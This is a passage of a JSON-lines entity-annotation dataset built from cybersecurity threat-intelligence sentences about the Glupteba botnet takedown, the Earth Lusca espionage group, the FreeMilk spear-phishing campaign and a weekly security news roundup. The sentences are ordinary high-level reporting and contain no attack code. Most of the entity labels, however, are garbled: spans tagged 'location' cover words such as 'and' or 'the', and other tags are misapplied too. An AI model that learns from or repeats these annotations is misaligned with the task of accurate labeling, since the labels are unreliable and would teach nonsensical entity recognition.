Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":17474,"label":"location","start_offset":106,"end_offset":111},{"id":17475,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":5672,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":17480,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]} -{"id":5673,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":17482,"label":"location","start_offset":80,"end_offset":83},{"id":17485,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]} -{"id":5674,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":17486,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]} {"id":5675,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":17489,"label":"location","start_offset":36,"end_offset":39},{"id":17493,"label":"malware","start_offset":179,"end_offset":187},{"id":17494,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} -{"id":5676,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":17501,"label":"location","start_offset":192,"end_offset":195},{"id":17502,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]} -{"id":5677,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":17503,"label":"location","start_offset":20,"end_offset":23},{"id":17504,"label":"location","start_offset":39,"end_offset":43},{"id":17506,"label":"location","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]} -{"id":5678,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[{"id":17507,"label":"location","start_offset":12,"end_offset":15},{"id":17508,"label":"location","start_offset":94,"end_offset":97},{"id":17509,"label":"location","start_offset":113,"end_offset":120},{"id":17510,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]} {"id":5679,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]} -{"id":5680,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses: The following 32 byte AES keys for decryption are hard coded in the binaries: The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[{"id":17511,"label":"location","start_offset":75,"end_offset":78},{"id":17513,"label":"location","start_offset":231,"end_offset":234},{"id":17514,"label":"location","start_offset":235,"end_offset":239},{"id":17515,"label":"location","start_offset":308,"end_offset":311},{"id":17516,"label":"location","start_offset":371,"end_offset":374}],"relations":[],"Comments":[]} -{"id":5681,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[{"id":17517,"label":"location","start_offset":94,"end_offset":100},{"id":17518,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]} {"id":5682,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":17519,"label":"malware","start_offset":16,"end_offset":24},{"id":17520,"label":"location","start_offset":44,"end_offset":47},{"id":17522,"label":"location","start_offset":127,"end_offset":130},{"id":17523,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} -{"id":5683,"text":"Recent domains used for command and control: Recent sha256 hashes of malware samples:","entities":[{"id":17524,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} {"id":5684,"text":"Since mid-2021, we have been investigating a rather elusive threat actor called Earth Lusca that targets organizations globally via a campaign that uses traditional social engineering techniques such as spear phishing and watering holes.","entities":[{"id":17527,"label":"location","start_offset":134,"end_offset":142},{"id":17528,"label":"attack-pattern","start_offset":203,"end_offset":217},{"id":17529,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]} -{"id":5685,"text":"The group’s primary motivation seems to be cyberespionage: the list of its victims includes high value targets such as government and educational institutions, religious movements, pro-democracy and human rights organizations in Hong Kong, Covid-19 research organizations, and the media, among others.","entities":[{"id":17530,"label":"location","start_offset":63,"end_offset":67},{"id":17531,"label":"location","start_offset":130,"end_offset":133},{"id":17532,"label":"location","start_offset":195,"end_offset":198},{"id":17534,"label":"location","start_offset":273,"end_offset":276},{"id":17535,"label":"location","start_offset":281,"end_offset":286}],"relations":[],"Comments":[]} -{"id":5686,"text":"However, the threat actor also seems to be financially motivated, as it also took aim at gambling and cryptocurrency companies.","entities":[{"id":17536,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} {"id":5687,"text":" Previous research into the group’s activities attributed it to other threat actors such as the Winnti group due to the use of malware such as Winnti, but despite some similarities, we consider Earth Lusca a separate threat actor (we do have evidence, however, that the group is part of the “Winnti cluster,” which is comprised of different groups with the same origin country and share aspects of their TTPs).","entities":[{"id":17540,"label":"malware","start_offset":292,"end_offset":298},{"id":17541,"label":"location","start_offset":357,"end_offset":361},{"id":17542,"label":"location","start_offset":377,"end_offset":380}],"relations":[],"Comments":[]} -{"id":5688,"text":"The technical brief provides an in-depth look at Earth Lusca’s activities, the tools it employs in attacks, and the infrastructure it uses.","entities":[{"id":17544,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":5689,"text":"Infrastructure and operating model Earth Lusca’s infrastructure can essentially be grouped into two “clusters.”","entities":[{"id":17545,"label":"location","start_offset":15,"end_offset":18},{"id":17546,"label":"location","start_offset":29,"end_offset":34},{"id":17548,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} {"id":5690,"text":"The first cluster is built using virtual private servers (VPS), rented from a service provider, that are used for the group’s watering hole and spear phishing operations, in addition to acting as a command-and-control (C&C) server for malware.","entities":[{"id":17551,"label":"location","start_offset":101,"end_offset":104},{"id":17552,"label":"location","start_offset":135,"end_offset":139},{"id":17553,"label":"location","start_offset":140,"end_offset":143},{"id":17554,"label":"attack-pattern","start_offset":144,"end_offset":158},{"id":17555,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]} {"id":5691,"text":"The second cluster is made up of compromised servers running old, open-source versions of Oracle GlassFish Server.","entities":[{"id":17557,"label":"location","start_offset":22,"end_offset":26},{"id":17558,"label":"attack-pattern","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]} -{"id":5692,"text":"Interestingly, this second cluster performs a different role in an Earth Lusca attack — it acts as a scanning tool that searches for vulnerabilities in public-facing servers and builds traffic tunnels within the target’s network.","entities":[{"id":17563,"label":"location","start_offset":110,"end_offset":114},{"id":17564,"label":"location","start_offset":152,"end_offset":158},{"id":17565,"label":"location","start_offset":174,"end_offset":177},{"id":17566,"label":"location","start_offset":212,"end_offset":218}],"relations":[],"Comments":[]} -{"id":5693,"text":"Like the first cluster, it also serves as a C&C server, this time for Cobalt Strike.","entities":[{"id":17568,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]} -{"id":5694,"text":"It’s possible that the group used portions of its infrastructure (particularly the scanning aspects) for diversion in order to trick security staff into focusing on the wrong parts of the network.","entities":[{"id":17570,"label":"location","start_offset":133,"end_offset":141}],"relations":[],"Comments":[]} {"id":5695,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]} {"id":5696,"text":"An overview of Earth Lusca’s infrastructure Social Engineering and Vulnerability Exploitation techniques","entities":[{"id":17572,"label":"threat-actor","start_offset":15,"end_offset":26},{"id":17573,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} {"id":5697,"text":"The group has three primary attack vectors, two of which involve social engineering.","entities":[],"relations":[],"Comments":[]} {"id":5698,"text":"The social engineering techniques can be broken down into spear phishing emails and watering hole websites.","entities":[{"id":17576,"label":"location","start_offset":34,"end_offset":37},{"id":17577,"label":"attack-pattern","start_offset":58,"end_offset":72},{"id":17578,"label":"location","start_offset":80,"end_offset":83},{"id":17579,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]} {"id":5699,"text":"Our telemetry data shows Earth Lusca sending spear phishing emails containing malicious links to one of their targets — a media company.","entities":[{"id":17581,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":17583,"label":"location","start_offset":122,"end_offset":127}],"relations":[],"Comments":[]} -{"id":5700,"text":"These links contain files that are disguised either as documents that would be of interest to the potential target, or as opinion forms allegedly coming from another media organization.","entities":[{"id":17584,"label":"location","start_offset":31,"end_offset":34},{"id":17585,"label":"location","start_offset":108,"end_offset":114},{"id":17586,"label":"location","start_offset":166,"end_offset":171}],"relations":[],"Comments":[]} {"id":5701,"text":"The user eventually downloads an archive file containing either a malicious LNK file or an executable — eventually leading to a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]} {"id":5702,"text":"In addition to spear phishing emails, Earth Lusca also made use of watering hole websites — they either compromised websites of their targets or set up fake web pages copied from legitimate websites and then injected malicious JavaScript code inside them.","entities":[{"id":17588,"label":"attack-pattern","start_offset":15,"end_offset":29},{"id":17590,"label":"location","start_offset":55,"end_offset":59},{"id":17591,"label":"location","start_offset":76,"end_offset":80},{"id":17592,"label":"location","start_offset":199,"end_offset":202},{"id":17593,"label":"location","start_offset":250,"end_offset":254}],"relations":[],"Comments":[]} -{"id":5703,"text":"These links to these websites are then sent to their victims (although we were not able definitively pinpoint how this was done).","entities":[{"id":17594,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} -{"id":5704,"text":"In one incident, the group injected a malicious script into the compromised HR system of a target organization.","entities":[{"id":17596,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]} {"id":5705,"text":"This script was designed to show a social engineering message — typically a Flash update popup or a DNS error (note that Adobe discontinued Flash Player at the end of December 2020) that then instructed the visitor to download a malicious file that turned out to be a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]} {"id":5706,"text":" Figure 2. Fake installation pop-up The third attack vector used by Earth Lusca is the exploitation of vulnerabilities that exist in the public-facing applications — such as Microsoft Exchange ProxyShell and Oracle GlassFish — of its targets.","entities":[{"id":17601,"label":"location","start_offset":33,"end_offset":36},{"id":17603,"label":"tools","start_offset":61,"end_offset":67},{"id":17604,"label":"threat-actor","start_offset":76,"end_offset":87},{"id":17605,"label":"location","start_offset":145,"end_offset":151},{"id":17607,"label":"location","start_offset":192,"end_offset":200},{"id":17609,"label":"location","start_offset":212,"end_offset":215}],"relations":[],"Comments":[]} {"id":5707,"text":"Once these are accomplished, Earth Lusca is free to perform its post-exploitation routines that include installation of tools such as Cobalt Strike and Acunetix (we discuss the post-exploitation routines in detail in the technical brief).","entities":[{"id":17612,"label":"location","start_offset":11,"end_offset":14},{"id":17613,"label":"threat-actor","start_offset":29,"end_offset":40},{"id":17614,"label":"location","start_offset":64,"end_offset":68},{"id":17616,"label":"location","start_offset":148,"end_offset":151},{"id":17618,"label":"location","start_offset":177,"end_offset":181}],"relations":[],"Comments":[]} {"id":5708,"text":"Malware used by Earth Lusca Earth Lusca employs several malware and other hacking tools in its arsenal.","entities":[{"id":17620,"label":"threat-actor","start_offset":28,"end_offset":39},{"id":17621,"label":"location","start_offset":64,"end_offset":67},{"id":17622,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]} -{"id":5709,"text":"A common theme we’ve seen in its attack vectors is the use of CobaltStrike loaders — and indeed, Cobalt Strike is one of the group’s preferred tools due to its wide range of post-exploitation capabilities.","entities":[{"id":17624,"label":"location","start_offset":85,"end_offset":88},{"id":17626,"label":"location","start_offset":114,"end_offset":117},{"id":17627,"label":"location","start_offset":165,"end_offset":170},{"id":17628,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]} -{"id":5710,"text":"In this case, the Cobalt Strike shellcode that is dropped into the target system is encoded via XOR along with a corresponding key.","entities":[{"id":17629,"label":"location","start_offset":8,"end_offset":12},{"id":17631,"label":"location","start_offset":67,"end_offset":73},{"id":17632,"label":"location","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]} -{"id":5711,"text":"In addition to Cobalt Strike, Earth Lusca also uses malware such as Doraemon, a backdoor named after Japanese manga that has two C&C settings: a primary one for one for IP or DNS, and a public website URL containing encrypted or clear text C&C IP addresses that is used for persistence.","entities":[{"id":17637,"label":"location","start_offset":110,"end_offset":115},{"id":17639,"label":"location","start_offset":153,"end_offset":156},{"id":17641,"label":"location","start_offset":180,"end_offset":183},{"id":17642,"label":"location","start_offset":186,"end_offset":192},{"id":17643,"label":"location","start_offset":229,"end_offset":234}],"relations":[],"Comments":[]} -{"id":5712,"text":"The group employs well-known malware such as ShadowPad and Winnti, as well as other tools such as cryptocurrency miners as part of its operations.","entities":[{"id":17645,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":5713,"text":"A more comprehensive list of these malware and tools are found in the technical brief.","entities":[{"id":17647,"label":"location","start_offset":21,"end_offset":25},{"id":17648,"label":"location","start_offset":43,"end_offset":46},{"id":17649,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":5714,"text":"Security best practices can help defend against Earth Lusca attacks Evidence points to Earth Lusca being a highly-skilled and dangerous threat actor mainly motivated by cyberespionage and financial gain.","entities":[{"id":17650,"label":"location","start_offset":0,"end_offset":8},{"id":17651,"label":"location","start_offset":9,"end_offset":13},{"id":17652,"label":"location","start_offset":24,"end_offset":27},{"id":17654,"label":"location","start_offset":77,"end_offset":83},{"id":17656,"label":"location","start_offset":122,"end_offset":125},{"id":17657,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]} -{"id":5715,"text":"However, the group still primarily relies on tried-and-true techniques to entrap a target.","entities":[{"id":17658,"label":"location","start_offset":51,"end_offset":54},{"id":17659,"label":"location","start_offset":55,"end_offset":59},{"id":17660,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]} -{"id":5716,"text":"While this has its advantages (the techniques have already proven to be effective), it also means that security best practices, such as avoiding clicking on suspicious email\/website links and updating important public-facing applications, can minimize the impact — or even stop — an Earth Lusca attack.","entities":[{"id":17661,"label":"location","start_offset":92,"end_offset":97},{"id":17662,"label":"location","start_offset":103,"end_offset":111},{"id":17663,"label":"location","start_offset":112,"end_offset":116},{"id":17664,"label":"location","start_offset":188,"end_offset":191},{"id":17665,"label":"location","start_offset":211,"end_offset":217},{"id":17666,"label":"location","start_offset":239,"end_offset":242},{"id":17667,"label":"location","start_offset":256,"end_offset":262},{"id":17668,"label":"location","start_offset":273,"end_offset":277}],"relations":[],"Comments":[]} -{"id":5717,"text":"Read our technical brief to learn more about Earth Lusca and its activities.","entities":[{"id":17671,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":5718,"text":" The indicators of compromise for Earth Lusca can be found in this document.","entities":[{"id":17673,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":5719,"text":" Tags APT & Targeted Attacks | Malware | Cyber Crime | Research | Articles, News, Reports","entities":[{"id":17674,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]} {"id":5720,"text":"This post is also available in: 日本語 (Japanese) Unit 42 released details about a new spear phishing campaign called FreeMilk that uses a relatively new attack technique that can be highly effective.","entities":[{"id":17675,"label":"location","start_offset":5,"end_offset":9},{"id":17677,"label":"identity","start_offset":53,"end_offset":60},{"id":17678,"label":"attack-pattern","start_offset":90,"end_offset":104},{"id":17679,"label":"location","start_offset":105,"end_offset":113},{"id":17681,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} -{"id":5721,"text":"This is the kind of technique that is likely to be aimed at high value targets.","entities":[{"id":17682,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]} -{"id":5722,"text":"Targets of these attacks are likely to be individuals with access to valuable or sensitive information such as members on a Board of Directors, C-level executives, military and political personnel, or those with compromising information such as journalists or activists.","entities":[{"id":17683,"label":"location","start_offset":25,"end_offset":28},{"id":17684,"label":"location","start_offset":29,"end_offset":35},{"id":17686,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} -{"id":5723,"text":"Individuals close to those previously mentioned could also be used as part of the attack campaign such as an executive assistant to a CEO or even friends or family.","entities":[{"id":17687,"label":"location","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]} {"id":5724,"text":" Phishing attacks are broad, leveraging email messages crafted around common, generalized topics in order to trick recipients into opening an email message and its attachments.","entities":[{"id":17688,"label":"attack-pattern","start_offset":1,"end_offset":9},{"id":17689,"label":"location","start_offset":18,"end_offset":21},{"id":17690,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]} {"id":5725,"text":"Attackers will cast a wide net, with no regard to who the victims are, hoping that a decent percentage of attacks are successful.","entities":[{"id":17691,"label":"location","start_offset":10,"end_offset":14},{"id":17692,"label":"identity","start_offset":15,"end_offset":19},{"id":17693,"label":"tools","start_offset":27,"end_offset":30},{"id":17694,"label":"location","start_offset":66,"end_offset":69},{"id":17695,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} {"id":5726,"text":" Spear phishing, like the name implies, is a more targeted form of phishing which incorporates a theme directly related to the target.","entities":[{"id":17696,"label":"attack-pattern","start_offset":1,"end_offset":15},{"id":17697,"label":"attack-pattern","start_offset":67,"end_offset":75},{"id":17698,"label":"location","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]} -{"id":5727,"text":"Using this approach, victims are more inclined to trust the sender, and open the email message and any attachments resulting in the success of the attack.","entities":[{"id":17699,"label":"location","start_offset":29,"end_offset":32},{"id":17700,"label":"location","start_offset":50,"end_offset":55},{"id":17701,"label":"location","start_offset":68,"end_offset":71},{"id":17702,"label":"location","start_offset":95,"end_offset":98},{"id":17703,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]} {"id":5728,"text":" FreeMilk is an advanced spear phishing attack campaign that, instead of using a theme to lure targets into downloading a malicious attachment, hijacks an in-progress email conversation.","entities":[{"id":17705,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":17706,"label":"location","start_offset":47,"end_offset":55},{"id":17707,"label":"location","start_offset":90,"end_offset":94},{"id":17708,"label":"location","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]} {"id":5729,"text":"Simply explained: Figure 1 Conversation Hijacking to Deliver Malware Unit 42 observed this specific attack taking advantage of a vulnerability in Microsoft Office, which has a patch available.","entities":[{"id":17711,"label":"identity","start_offset":148,"end_offset":157}],"relations":[],"Comments":[]} -{"id":5730,"text":"To protect against FreeMilk and attacks alike, ensure your systems and devices are updated with the latest operating systems and security patches.","entities":[{"id":17713,"label":"location","start_offset":28,"end_offset":31},{"id":17714,"label":"location","start_offset":67,"end_offset":70},{"id":17715,"label":"location","start_offset":79,"end_offset":82},{"id":17716,"label":"location","start_offset":125,"end_offset":128},{"id":17717,"label":"location","start_offset":129,"end_offset":137}],"relations":[],"Comments":[]} -{"id":5731,"text":" Additionally, multiple layers of security for devices and networks create additional layers of protection to prevent against these types of attacks.","entities":[{"id":17718,"label":"location","start_offset":34,"end_offset":42},{"id":17719,"label":"location","start_offset":55,"end_offset":58},{"id":17720,"label":"location","start_offset":96,"end_offset":106}],"relations":[],"Comments":[]} -{"id":5732,"text":"For example, multi-factor authentication would prevent an attacker from abusing stolen credentials, hindering their ability to access an email account and successfully complete the FreeMilk attack campaign. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":17721,"label":"location","start_offset":151,"end_offset":154},{"id":17722,"label":"location","start_offset":197,"end_offset":205},{"id":17723,"label":"location","start_offset":270,"end_offset":273},{"id":17724,"label":"location","start_offset":299,"end_offset":304},{"id":17725,"label":"location","start_offset":333,"end_offset":337},{"id":17726,"label":"location","start_offset":412,"end_offset":415}],"relations":[],"Comments":[]} -{"id":5733,"text":"Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days.","entities":[{"id":17727,"label":"location","start_offset":0,"end_offset":7},{"id":17729,"label":"location","start_offset":22,"end_offset":29},{"id":17730,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":5734,"text":"This week, learn about Trend Micro’s Cyber Risk Index (CRI) and its results showing increased cyber risk.","entities":[{"id":17734,"label":"location","start_offset":48,"end_offset":53},{"id":17735,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} {"id":5735,"text":"Also, read about a data breach from IoT company Wyze that exposed information of 2.4 million customers.","entities":[],"relations":[],"Comments":[]} {"id":5736,"text":"Read on:","entities":[],"relations":[],"Comments":[]} -{"id":5737,"text":"The 5 New Year’s Tech Resolutions You Should Make for 2020 Now is the perfect time to reflect on the past and think of all the ways you can make this coming year your best one yet.","entities":[{"id":17741,"label":"location","start_offset":78,"end_offset":82},{"id":17742,"label":"location","start_offset":106,"end_offset":109},{"id":17743,"label":"location","start_offset":136,"end_offset":139},{"id":17745,"label":"location","start_offset":167,"end_offset":171},{"id":17746,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]} -{"id":5738,"text":"With technology playing such a central role in our lives, technology resolutions should remain top of mind heading into the new year.","entities":[{"id":17747,"label":"location","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]} -{"id":5739,"text":"In this blog, Trend Micro shares five tech resolutions that will help make your 2020 better and safer.","entities":[{"id":17751,"label":"location","start_offset":60,"end_offset":64},{"id":17753,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]} -{"id":5740,"text":"Security Study: Businesses Remain at Elevated Risk of Cyber Attack","entities":[{"id":17754,"label":"location","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]} -{"id":5741,"text":"Elevated risk of cyber attack is due to increased concerns over disruption or damages to critical infrastructure, according to the Trend Micro’s latest Cyber Risk Index (CRI) study.","entities":[{"id":17756,"label":"location","start_offset":163,"end_offset":168}],"relations":[],"Comments":[]} -{"id":5742,"text":"The company commissioned Ponemon Institute to survey more than 1,000 organizations in the U.S. to assess business risk based on their current security postures and perceived likelihood of attack.","entities":[{"id":17758,"label":"location","start_offset":46,"end_offset":52},{"id":17761,"label":"location","start_offset":142,"end_offset":150},{"id":17762,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]} -{"id":5743,"text":"Parental Controls – Trend Micro Home Network Security Has Got You Covered","entities":[{"id":17763,"label":"location","start_offset":26,"end_offset":31},{"id":17764,"label":"location","start_offset":32,"end_offset":36},{"id":17765,"label":"location","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} -{"id":5744,"text":"In the second blog of a three-part series on security protection for your home and family, Trend Micro discusses the risks associated with children beginning to use the internet for the first time and how parental controls can help protect them.","entities":[{"id":17768,"label":"location","start_offset":45,"end_offset":53},{"id":17769,"label":"location","start_offset":54,"end_offset":64},{"id":17770,"label":"location","start_offset":74,"end_offset":78},{"id":17771,"label":"location","start_offset":79,"end_offset":82},{"id":17774,"label":"location","start_offset":192,"end_offset":196},{"id":17775,"label":"location","start_offset":197,"end_offset":200},{"id":17776,"label":"location","start_offset":223,"end_offset":226},{"id":17777,"label":"location","start_offset":240,"end_offset":244}],"relations":[],"Comments":[]} {"id":5745,"text":"Cambridge Analytica Scandal: Facebook Hit with $1.6 Million Fine","entities":[{"id":17780,"label":"identity","start_offset":38,"end_offset":41},{"id":17782,"label":"location","start_offset":60,"end_offset":64}],"relations":[],"Comments":[]} {"id":5746,"text":"The Cambridge Analytica scandal continues to haunt Facebook.","entities":[],"relations":[],"Comments":[]} -{"id":5747,"text":"The company has been receiving fines for its blatant neglect and disregard towards users’ privacy.","entities":[{"id":17785,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]} -{"id":5748,"text":"The latest to join the bandwagon after the US, Italy, and the UK is the Brazilian government.","entities":[{"id":17788,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} {"id":5749,"text":"Why Running a Privileged Container in Docker is a Bad Idea","entities":[],"relations":[],"Comments":[]} -{"id":5750,"text":"Privileged containers in Docker are containers that have all the root capabilities of a host machine, allowing the ability to access resources which are not accessible in ordinary containers.","entities":[{"id":17791,"label":"location","start_offset":32,"end_offset":35},{"id":17792,"label":"location","start_offset":65,"end_offset":69},{"id":17793,"label":"location","start_offset":88,"end_offset":92},{"id":17794,"label":"location","start_offset":149,"end_offset":152},{"id":17795,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]} -{"id":5751,"text":"In this blog post, Trend Micro explores how running a privileged, yet unsecure, container may allow cybercriminals to gain a backdoor in an organization’s system.","entities":[{"id":17796,"label":"location","start_offset":13,"end_offset":17},{"id":17798,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} {"id":5752,"text":"IoT Company Wyze Leaks Emails, Device Data of 2.4M","entities":[],"relations":[],"Comments":[]} -{"id":5753,"text":"An exposed Elasticsearch database, owned by Internet of Things (IoT) company Wyze, was discovered leaking connected device information and emails of millions of customers.","entities":[{"id":17803,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]} -{"id":5754,"text":"Exposed on Dec. 4 until it was secured on Dec. 26, the database contained customer emails along with camera nicknames, WiFi SSIDs (Service Set Identifiers; or the names of Wi-Fi networks), Wyze device information, and body metrics.","entities":[{"id":17807,"label":"location","start_offset":90,"end_offset":95},{"id":17809,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]} -{"id":5755,"text":"Looking into Attacks and Techniques Used Against WordPress Sites WordPress is estimated to be used by 35% of all websites today, making it an ideal target for threat actors.","entities":[{"id":17810,"label":"location","start_offset":21,"end_offset":24},{"id":17811,"label":"location","start_offset":59,"end_offset":64},{"id":17815,"label":"location","start_offset":142,"end_offset":147},{"id":17816,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]} -{"id":5756,"text":"In this blog, Trend Micro explores different kinds of attacks against WordPress - by way of payload examples observed in the wild - and how attacks have used hacked admin access and API, Alfa-Shell deployment, and SEO poisoning to take advantage of vulnerable sites.","entities":[{"id":17818,"label":"location","start_offset":85,"end_offset":88},{"id":17819,"label":"location","start_offset":132,"end_offset":135},{"id":17820,"label":"location","start_offset":178,"end_offset":181},{"id":17821,"label":"location","start_offset":192,"end_offset":197},{"id":17822,"label":"location","start_offset":210,"end_offset":213},{"id":17823,"label":"location","start_offset":260,"end_offset":265}],"relations":[],"Comments":[]} -{"id":5757,"text":"FPGA Cards Can Be Abused for Faster and More Reliable Rowhammer Attacks","entities":[{"id":17825,"label":"location","start_offset":11,"end_offset":14},{"id":17826,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":5758,"text":"In a new research paper published on the last day of 2019, a team of American and German academics showed that field-programmable gate array (FPGA) cards can be abused to launch better and faster Rowhammer attacks.","entities":[{"id":17829,"label":"location","start_offset":78,"end_offset":81},{"id":17831,"label":"location","start_offset":111,"end_offset":116},{"id":17832,"label":"location","start_offset":130,"end_offset":134},{"id":17833,"label":"location","start_offset":154,"end_offset":157},{"id":17834,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]} {"id":5759,"text":"The new research expands on previous work into an attack vector known as Rowhammer, first detailed in 2014 Emotet Attack Causes Shutdown of Frankfurt’s IT Network","entities":[{"id":17835,"label":"tools","start_offset":57,"end_offset":63},{"id":17837,"label":"tools","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]} {"id":5760,"text":"The city of Frankfurt, Germany, became the latest victim of Emotet after an infection forced it to close its IT network.","entities":[{"id":17841,"label":"malware","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]} -{"id":5761,"text":"There were also incidents that occurred in the German cities of Gießen, Bad Homburgas and Freiburg.","entities":[{"id":17845,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":5762,"text":"BeyondProd Lays Out Security Principles for Cloud-Native Applications BeyondCorp was first to shift security away from the perimeter and onto individual users and devices.","entities":[{"id":17848,"label":"location","start_offset":20,"end_offset":28},{"id":17849,"label":"location","start_offset":44,"end_offset":49},{"id":17852,"label":"location","start_offset":100,"end_offset":108},{"id":17853,"label":"location","start_offset":133,"end_offset":136},{"id":17854,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]} -{"id":5763,"text":"Now, it is BeyondProd that protects cloud-native applications that rely on microservices and communicate primarily over APIs, because firewalls are no longer sufficient.","entities":[{"id":17856,"label":"location","start_offset":36,"end_offset":41},{"id":17857,"label":"location","start_offset":89,"end_offset":92},{"id":17858,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} {"id":5764,"text":"Greg Young, vice president of cybersecurity at Trend Micro, discusses BeyondProd’s value in this article.","entities":[],"relations":[],"Comments":[]} {"id":5765,"text":"How MITRE ATT&CK Assists in Threat Investigation","entities":[],"relations":[],"Comments":[]} -{"id":5766,"text":"In 2013, the MITRE Corporation, a federally funded not-for-profit company that counts cybersecurity among its key focus area, came up with MITRE ATT&CK™, a curated knowledge base that tracks adversary behavior and tactics.","entities":[{"id":17866,"label":"location","start_offset":210,"end_offset":213}],"relations":[],"Comments":[]} {"id":5767,"text":"In this analysis, Trend Micro investigates an incident involving the MyKings botnet to show how the MITRE ATT&CK framework helps with threat investigation.","entities":[],"relations":[],"Comments":[]} -{"id":5768,"text":"TikTok Banned by U.S. Army Over China Security 